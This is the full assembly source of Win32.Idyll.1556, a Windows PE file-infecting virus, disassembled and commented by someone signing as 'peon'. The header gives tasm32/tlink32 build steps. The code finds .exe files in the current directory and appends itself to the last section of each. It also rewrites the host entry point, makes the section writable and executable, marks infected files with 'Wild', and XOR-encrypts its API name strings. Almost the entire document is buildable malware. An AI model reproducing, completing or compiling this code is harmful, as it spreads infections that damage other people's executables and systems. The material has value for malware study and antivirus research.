;
;		Win32.Idyll.1556
;	    disassembly done by peon
;
;
;
; This is a noninteresting,nonresident infector of PE files.
; Infects files in the current directory.No payload or anything interesting.
; Assumed to be compiled with /m switch so NOP's after jumps included in the source.
;
; Sorry for the annoying lack of comments-most of the stuff is self-explanatory
; (so this is not the one you'll learn w32 coding from)
;
; 
;compilation:
;tasm32 /m /ml idyll.asm
;tlink32 idyll,,,import32.lib /Tpe
;pewrsec idyll.exe
;
;

.386			;the usual stuff
.model flat

extrn GetModuleHandleA:proc ;---\	
			    ;    >virus needs these fns to be imported by host
extrn GetProcAddress:proc   ;---/

extrn ExitProcess:proc


;
;struc def so no need of inc's
;
_find_data struc
	_attr dd ?
	_creatlo dd ?
	_creathi dd ?
	_lastalo dd ?
	_lastahi dd ?
	_lastwlo dd ?
	_lastwhi dd ?
	_sizehi dd ?	;@1C
	_sizelo dd ?	;@20
	_res0 dd ?
	_res1 dd ?
	_fname db 260 dup(?)	;@2C
	_fuck db 10 dup (?)		;idyll allocates less than the real
_find_data ends				;size of finddata structure

.data
dd 0	;tlink32 stuff

.code
host_start:
	push 0
	call ExitProcess
;
;we need some fixups like filling fn adds and encrypting api strings
;before starting the 1st generation sample
;
; This is where control is received from the loader... X-D
fixups:
	mov eax,idyll_gmh		;getmodulehandle
	mov eax,[eax]			;get dispatcher add
	mov idyll_gmh,eax		;store it as virus does during
					;infection
	mov eax,idyll_gpa		;getprocaddress
	mov eax,[eax]
	mov idyll_gpa,eax		;do the same
	mov esi,offset idyll_apinames	;ptr to apinames
	mov ecx,idyll_length_of_apinames;# of bytes to crypt
fixup_xorloop:
	xor byte ptr [esi],17h		;crypt byte
	inc esi				;inc ptr
	loop fixup_xorloop		;loop
	jmp idyll			;launch virus

;the author (the false demon prophet) coded a host with 69h bytes of size
;i fix this with an org directive
	org 69h
;
;----------------------- infective code begins here ----------------------------
;


idyll_start equ $
idyll_size equ idyll_end-idyll_start

;
;idyll main
;
idyll:
	call idyll_flexible_entry_point	;will calculate delta offset
idyll_flexible_entry_point:
	mov ebp,[esp]			;get offset from stack
	sub ebp,offset idyll_flexible_entry_point ;fix ebp
	add esp,4			;perform pop off the stack
	mov eax,[ebp+offset idyll_hostentry] ;entry point of host
	lea edi,[ebp+idyll_hostentry_load]   ;get add of instruction to patch
	inc edi				;fix ptr (seems the author wasnt
					; familiar with equ $-4 stuff)
	mov [edi],eax			;patch code for return to host
	mov edi,[ebp+offset idyll_gmh]		
	mov eax,[edi]				;get fn add
	mov [ebp+idyll_getmodulehandlea_add],eax;store fn add
	lea edi,[ebp+offset idyll_k32string]	;fetch ptr to 'KERNEL32' string
	push edi				;pass param
	call [ebp+idyll_getmodulehandlea_add]	;get a handle to KERNEL32.dll
	mov [ebp+offset idyll_k32add],eax	;store it
	mov edi,[ebp+offset idyll_gpa]		
	mov eax,[edi]				;get fn add
	mov [ebp+idyll_getprocaddress_add],eax;store fn add
	call idyll_xorloop_on_apinames		;decrypt api strings
	call idyll_lookup_apis			;get fn addresses
	call idyll_xorloop_on_apinames		;encrypt api strings
	lea edi,[ebp+offset idyll_filemask]	;filemask for searches
	call idyll_init				;init routines
	cmp eax,-1				;failed?
	je idyll_hostentry_load			;yes abort
	nop
	nop					;nops for match
	nop
	nop
	call idyll_infect			;try to infect
idyll_mainloop:
	call idyll_findnext			;find next victim...
	cmp eax,0                               ;failed?
	je idyll_hostentry_load                 ;if yes execute host
	nop
	nop
	nop
	nop
	call idyll_infect			;otherwise infect
	jmp idyll_mainloop			;and loop...
idyll_hostentry_load:			;@10F5
	mov edi,0			;this will be patched by virus
	push edi			;store on TOS
	ret				;jump to host
;
;allocate memory for finddata structure and call FindFirstFileA()
;
idyll_init:				;@1093(8293)
	push edi		;store reg
	push 4			;acces protection:PAGE_READWRITE
	push 1000h		;type of allocation:MEM_COMMIT
	push size _find_data	;size of the region to allocate
	push 0			;address of region to reserve or commit
	call [ebp+offset idyll_virtualalloc_add];call VirtualAlloc
	mov [ebp+offset idyll_finddata_add],eax	;store add
	pop edi
	push eax
	push edi
	call [ebp+offset idyll_findfirstfilea_add] ;call FindFirstFileA()
	mov [ebp+offset	idyll_findhandle],eax      ;store handle
	ret
;
;launch FindNextFileA()
;
idyll_findnext:
	mov eax,[ebp+offset idyll_finddata_add]
	push eax                               	;store param
	mov eax,[ebp+offset idyll_findhandle]
	push eax                                ;store param
	call [ebp+offset idyll_findnextfilea_add];call fn
	ret                                     ;back to caller
;
;infection routine
;
idyll_infect:		;@10D3
	xor eax,eax
	mov [ebp+offset idyll_sectsize],eax
	call idyll_mapfile			;try to map file
	cmp eax,0				;failed?
	je idyll_infect_return_failure
	call idyll_testfile			;file can be infected?
	test eax,eax				;eax zero if yes
	jne idyll_infect_fail			;possibly already infected,abort
	mov edi,[ebp+offset idyll_peheader]	;fetch PE header
	add edi,78h				;start of RVA list
	add edi,8				;ptr to imports RVA
	mov ebx,[edi]				;get value
	call idyll_infect_findimports
	mov esi,ebx
;
;scan imports for KERNEL32.dll module and GetModuleHandleA + GetProcAddress
;fns to patch virus before moving code into the victim 
;
idyll_infect_importloop:
	mov ebx,[esi+0ch]
	call idyll_infect_findimports
	mov edi,ebx
	call idyll_infect_findk32
	cmp eax,0
	je idyll_infect_k32found
	nop
	nop
	nop
	nop
	cmp byte ptr [edi],0		;endmarker?
	je idyll_infect_fail					
	add esi,14h			;next one..
	jmp idyll_infect_importloop	;and branch
idyll_infect_k32found:
	push esi
	lea edi,[ebp+offset idyll_gmhstring] ;GetModuleHandleA string
	mov ebx,[esi]
	call idyll_infect_findimports		;find imports rva
	mov ecx,16				;size of gmh string
	call idyll_infect_find_fn		;find fn
	cmp eax,-1				;failed?
	pop esi
	je idyll_infect_fail			;yes abort
	mov edi,[esi+10h]
	lea ebx,[eax*4]
	add edi,ebx
	xchg edi,ebx
	mov edi,[ebp+offset idyll_peheader]
	add ebx,[edi+34h]			;add imagebase
	mov [ebp+offset idyll_gmh],ebx		;store add of GetModuleHandleA
	push esi
	lea edi,[ebp+offset idyll_gpastring]	;GetProcAddress string
	mov ebx,[esi]
	call idyll_infect_findimports
	mov ecx,0eh                     	;size of string
	call idyll_infect_find_fn
	cmp eax,-1
	pop esi
	je idyll_infect_fail
	mov edi,[esi+10h]
	lea ebx,[eax*4]
	add edi,ebx
	xchg ebx,edi
	mov edi,[ebp+offset idyll_peheader]
	add ebx,[edi+34h]			;add imagebase
	mov [ebp+offset idyll_gpa],ebx
	mov edi,[ebp+offset idyll_peheader]	;needless
	push edi
	xor ecx,ecx
	mov cx,[edi+6]				;get object count
	dec cx					;counting starts from 1
	mov esi,[ebp+offset idyll_1stsec]	;get ptr to 1st entry
idyll_infect_getlastentry:
	add esi,40				;size of each entry	
	loop idyll_infect_getlastentry		;get ptr to last entry
	mov edx,[esi+0ch]			;get section RVA
	add esi,16				;esi points to PhysOffset
	add edx,[esi]				;RVA+PhysOffset
	push edx
	mov ebx,[esi]				;PhysOffset of last section
	mov edi,[ebp+offset idyll_peheader]	;needless again
	mov eax,[edi+3ch]			;get file alignment unit
	xor edx,edx				;zero reg
;
;increase section PhysSize by file alignment units
;until its larger than virus size
;
idyll_infect_fixsize:
	add edx,eax				;add filealign
	cmp edx,idyll_size			;virus size
	jl idyll_infect_fixsize		        ;loop if section smaller than virus
	mov eax,[esi+4]			
	add eax,[esi]	
	mov [ebp+offset idyll_sectsize],edx
	add edx,ebx
	mov [esi],edx				;set new PhysSize
	mov [esi-8],edx				;set new VirtSize
	pop edx
	pop edi
	push eax
	mov ebx,[edi+28h]			;get entry RVA
	add ebx,[edi+34h]			;add imagebase
	mov [ebp+offset idyll_hostentry],ebx	;save restart address
	mov [edi+28h],edx		;modify host entry RVA in PE header
	mov edx,0e0000020h			;object flags:[CERW]
	mov [esi+14h],edx			;set flags
	call idyll_unmap_close			;unmap and close file
	call idyll_mapfile			;
	test eax,eax
	je idyll_infect_fail
	nop
	nop
	nop
	nop		
	call idyll_testfile			;?
	pop ebx
	mov edi,[ebp+offset idyll_finddata_add]	;why?
	lea esi,[ebp+offset idyll_start]
	mov edi,[ebp+offset idyll_mappedadd]
	push edi
	add edi,ebx
	mov ecx,idyll_size			;virus size
	rep
	movsb					;move virus into victim
	pop edi
	add edi,[edi+3ch]			;ptr to PE header
	mov [edi+58h],'Wild'			;mark file infected
	call idyll_unmap_close			;unmap and close file
idyll_infect_return_success:
	mov eax,1				;fucking waste of space to
	ret					;return nonzero value
idyll_infect_fail:
	call idyll_unmap_close
idyll_infect_return_failure:
	xor eax,eax
	ret
;	
;subroutine to
;determine whether a file can be infected
;in:	eax:va of mapped file
;out:	eax:zero if file can be infected
;
idyll_testfile:
	mov ebx,eax		;va of mapped file into ebx
	cmp word ptr [ebx],'ZM'	;exe?
	jne idyll_testfile_return_failure;nope abort
	nop
	nop
	nop
	nop
	add eax,dword ptr [ebx+3ch]	;get ptr to PE header
	mov [ebp+offset idyll_peheader],eax
	xchg edi,eax			;load ptr into edi
	cmp word ptr [edi],'EP'		;a PE?
	jne idyll_testfile_return_failure;nope abort
	nop
	nop
	nop
	nop
	cmp [edi+58h],'Wild'		;already infected?
	je idyll_testfile_return_failure;yes abort
	nop
	nop
	nop
	nop
	add edi,74h
	mov ecx,[edi]			;number of interesting rva's
idyll_testfile_rva_loop:
	add edi,8			;skip item
	loop idyll_testfile_rva_loop	;so we'll get a ptr to sectiontable
	add edi,4
	mov [ebp+offset idyll_1stsec],edi;store ptr to 1st entry in
					 ;sectiontable 				
idyll_testfile_return_success:
	xor eax,eax			;and return succes to caller
	ret
idyll_testfile_return_failure:
	xor eax,eax			;return failure to caller
	dec eax
	ret
;
;find a function in the victims imports
;(called when infecting to get GetModuleHandleA and GetProcAddress)
;
idyll_infect_find_fn:		;@12B0(84B0)
	xor eax,eax
idyll_infect_find_fn_loop:
	mov esi,[ebx+4*eax]
	cmp esi,0		;endmarker?
	je idyll_infect_find_fn_return_failure
	nop
	nop
	nop
	nop
	push ebx
	mov ebx,esi
	call idyll_infect_findimports
	inc ebx
	inc ebx
	mov esi,ebx
	pop ebx
	push edi
	push ecx
	repz
	cmpsb			;compare names
	cmp ecx,0               ;found?
	pop ecx
	pop edi
	je idyll_infect_find_fn_done   ;yes
	nop
	nop
	nop
	nop
	inc eax                            ;nope,loop
	jmp idyll_infect_find_fn_loop
idyll_infect_find_fn_done:
	ret
idyll_infect_find_fn_return_failure:
	xor eax,eax                       ;return failure
	dec eax
	ret
;
;find KERNEL32 string in import module names list
;
idyll_infect_findk32:		;@12E2(84E2)
	push edi
	push esi
	mov ecx,8		;size of string
	push ecx
	lea esi,[ebp+offset idyll_dllnamebuffer] ;destination
	push esi
;
;uppercase input.
;
idyll_infect_findk32_loop:
	mov ah,[edi]		;get char
	cmp ah,'a'              ;lowercase?
	jl idyll_infect_findk32_uppercase  ;nope,store char
	nop
	nop
	nop
	nop
	sub ah,32		;convert to upper
idyll_infect_findk32_uppercase:
	mov [esi],ah            ;and store char
	inc esi			;increase dest ptr
	inc edi			;increase src ptr
	loop idyll_infect_findk32_loop      ;branch
	pop esi			;get ptr back
	pop ecx			;get str len back
	lea edi,[ebp+offset idyll_k32string] ;ptr to 'KERNEL32' string
	repz
	cmpsb			;compare strings
	mov eax,ecx		;eax hold return value,zero if K32 found
	pop esi			;get regs back
	pop edi
	ret			;return to caller

;
;find the section that contains imports
;
idyll_infect_findimports:	;@1314(8514)
	push edi
	push ecx
	push esi
	push eax
	mov edi,[ebp+offset idyll_peheader]
	mov ecx,[edi+6]		;get object count..bug:oc is a 16bit value
	mov esi,[ebp+offset idyll_1stsec]	;ptr to 1st entry in section table
idyll_infect_findimports_loop:
	mov eax,[esi+0ch]			;fetch section RVA
	cmp ebx,eax				;compare them
	jle idyll_infect_findimports_found
	nop
	nop
	nop
	nop
	add esi,28h				;next section
	loop idyll_infect_findimports_loop	;loop
idyll_infect_findimports_found:
	je idyll_infect_findimports_found_at_sectionstart
	nop	;^
	nop     ;|
	nop     ;+--start of imports equals to start of some section?
	nop
	sub esi,28h			;nope,previous section...
idyll_infect_findimports_found_at_sectionstart:
	mov eax,[esi+0ch]			;fetch section RVA
	mov ecx,ebx
	sub ecx,eax
	mov ebx,[esi+14h]			;PhysOffset
	add ebx,[ebp+offset idyll_mappedadd]
	add ebx,ecx
	pop eax
	pop esi
	pop ecx
	pop edi
	ret
;
;map the file into the processes address space
;
idyll_mapfile:		;@1357(8557)
	mov edi,[ebp+offset idyll_finddata_add];ptr to finddata structure
	add edi,2ch		;fix ptr to point to the name of the found file
	push edi		;parameter for open
	push 80h		;fileattribute normal
	push edi		;param for setfileattr
	call [ebp+offset idyll_setfileattributesa_add];call fn to set
						      ;file attr to normal
	test eax,eax		;failed?
	je idyll_mapfile_return_failure ;yes abort
	nop
	nop
	nop
	nop
	pop edi					;get ptr to filename back
	push 0					;no hTemplate
	push 80h				;attribute normal
	push 3					;OPEN_EXISTING
	push 0					;no sa struct
	push 0					;prevents from being shared
	push 0c0000000h				;r/w
	push edi				;ptr to filename
	call [ebp+offset idyll_createfilea_add]	;call CreateFileA()
	mov [ebp+offset idyll_handle],eax	;store handle
	cmp eax,-1				;open failed?
	je idyll_mapfile_return_failure		;yes abort
	nop
	nop
	nop
	nop
;
;now the file's opened..calculate the size of filemapping object
;and map file
;
	mov edi,[ebp+offset idyll_finddata_add]
	mov edx,[edi._sizelo]
	mov ebx,[edi._sizehi]
	add edx,[ebp+offset idyll_sectsize]
	push 0				;name of mapping object
	push edx			;max size lo
	push ebx			;max size hi
	push 4				;PAGE_READWRITE
	push 0				;no sa structure
	push eax			;hFile to map
	call [ebp+offset idyll_createfilemappinga_add]
	mov [ebp+offset idyll_maphand],eax	;store hObject
	test eax,eax				;failed?
	je idyll_mapfile_return_failure		;yes abort
	nop
	nop
	nop
	nop
	push 0					;map entire file
	push 0					;from zero offset
	push 0					;from zero offset
	push 2					;r/w access
	push eax				;hObject
	call [ebp+offset idyll_mapviewoffile_add];call MapViewOfFile
	mov [ebp+offset idyll_mappedadd],eax	;store add of mapped image
	test eax,eax				;failed?
	je idyll_mapfile_return_failure		;yes abort
	nop
	nop
	nop
	nop
	ret					;return success(eax nonzero)
idyll_mapfile_return_failure:
	xor eax,eax
	ret
;
;unmap the file and close handles
;
idyll_unmap_close:	;@13EE(85EE)
	mov eax,[ebp+offset idyll_mappedadd]	;address of mapped image
	push eax				;sotre parameter
	call [ebp+offset idyll_unmapviewoffile_add];unmap file
	mov eax,[ebp+offset idyll_maphand]	;hObject
	push eax                                ;store parameter
	call [ebp+offset idyll_closehandle_add]	;close file mapping object	
	mov eax,[ebp+offset idyll_handle]	;hFile
	push eax                                ;store parameter
	call [ebp+offset idyll_closehandle_add] ;close file
	ret					;return to motherfucking caller

;
;calls GetProcAddress to retrieve fn adds needed for infection
;
idyll_lookup_apis:		;@147F
	lea edi,[ebp+offset idyll_apinames];strings of fn names
	lea esi,[ebp+offset idyll_apiaddresses];room for fn addresses
idyll_lookup_apis_loop:
	mov ax,[edi]		;fetch a word
	cmp ax,0		;end of apinames?
	je idyll_lookup_apis_return	;yes return
	nop			;nops for b2b match
	nop
	nop
	nop
	push esi		;store ptr
	push edi		;pass fn add
	mov eax,[ebp+offset idyll_k32add]	;hModule of KERNEL32
	push eax		;pass param
	mov esi,[ebp+offset idyll_getprocaddress_add];add of fn
	call esi		;call GetProcAddress
	pop esi			;get ptr back
	mov [esi],eax		;store fn add
	add esi,4		;fix ptr
	xor al,al		;zero reg
	or ecx,-1		;ecx contains 0xFFFFFFFF
	inc edi			;inc ptr
	repnz			;find end of string (null)
	scasb
	jmp idyll_lookup_apis_loop;proceed with next fn
idyll_lookup_apis_return:
	ret
;
;data needed on virus startup
;

idyll_k32string		db 'KERNEL32',0	;@14BA
idyll_k32add		dd 0		;address of KERNEL32.dll @14C3
;
;these fields are filled during infection and must be fixed
;before executing the 1st generation of the virus
;***note:this makes the whole stuff tasm/tlink dependent
;
idyll_gmh		dd offset GetModuleHandleA+2	;@14C7 GetModuleHandleA
idyll_gpa		dd offset GetProcAddress+2	;@14CB GetProcaddress
			dd 0				;@14CF
			dd 0				;
idyll_gmhstring		db 'GetModuleHandleA',0		;@14D7
idyll_gpastring		db 'GetProcAddress',0		;@14E8
idyll_getmodulehandlea_add	dd 0	;@14F7 fn address
idyll_getprocaddress_add	dd 0	;@14FB fn address

;
;encrypt/decrypt api names
;(i always get wired when i see motherfucking mixing of motherfucking code
;and motherfucking data motherfucking areas motherfucking)
;

idyll_xorloop_on_apinames:	;@14FF
	lea esi,[ebp+offset idyll_apinames];ptr to string to crypt
	mov ecx,idyll_length_of_apinames;amount to crypt
idyll_xorloop_on_apinames_loop:
	mov ah,[esi]			;get byte
	xor ah,17h			;crypt byte
	mov [esi],ah			;store byte
	inc esi				;inc ptr
	dec ecx				;has the author heard of the 'loop'
	jne idyll_xorloop_on_apinames_loop ;instruction of the x86's?
	ret

;
;data related to idyll
;

idyll_length_of_apinames equ idyll_endof_apinames-idyll_apinames
;
;names of functions virus uses for infection
;
idyll_apinames equ $
	db 'CreateFileA',0
	db 'CreateFileMappingA',0
	db 'MapViewOfFile',0
	db 'UnmapViewOfFile',0
	db 'CloseHandle',0
	db 'VirtualAlloc',0
	db 'VirtualFree',0
	db 'FindFirstFileA',0
	db 'FindNextFileA',0
	db 'SetFileAttributesA',0
	db 'GetLastError',0
	dw 0			;endmarker
idyll_endof_apinames equ $

;
;api adds will be stored here
;
idyll_apiaddresses	equ $
idyll_createfilea_add dd 0		;@15B7
idyll_createfilemappinga_add dd 0
idyll_mapviewoffile_add dd 0
idyll_unmapviewoffile_add dd 0
idyll_closehandle_add dd 0
idyll_virtualalloc_add dd 0
idyll_virtualfree_add dd 0
idyll_findfirstfilea_add dd 0
idyll_findnextfilea_add dd 0
idyll_setfileattributesa_add dd 0
idyll_getlasterror_add dd 0

idyll_hostentry		dd offset host_start	;host erva @15E3
idyll_filemask		db '*.exe',0	;filemask for searches @15E7
idyll_findhandle	dd 0	;@15ED	handle for file searches
idyll_finddata_add	dd 0	;@15F1	address of finddata structure
idyll_handle		dd 0	;@15F5	handle of open file
idyll_maphand		dd 0	;@15F9	handle of file mapping object
idyll_mappedadd		dd 0	;@15FD	address of mapped file
idyll_peheader		dd 0	;@1601	ptr to PE header
idyll_1stsec		dd 0	;@1605	ptr to 1st entry in object table
idyll_sectsize		dd 0	;@1609
idyll_x			dd 0	;@160D
idyll_dllnamebuffer	db 20 dup(0)	;@1611
idyll_text		db '[win32.idyllWild]',10,13
			db 'take me in your arms of velvet...',10,13
			db 'kiss me with satin...',10,13
			db 'drown me.',10,13

idyll_end equ $

end fixups	;we will start fixup routine first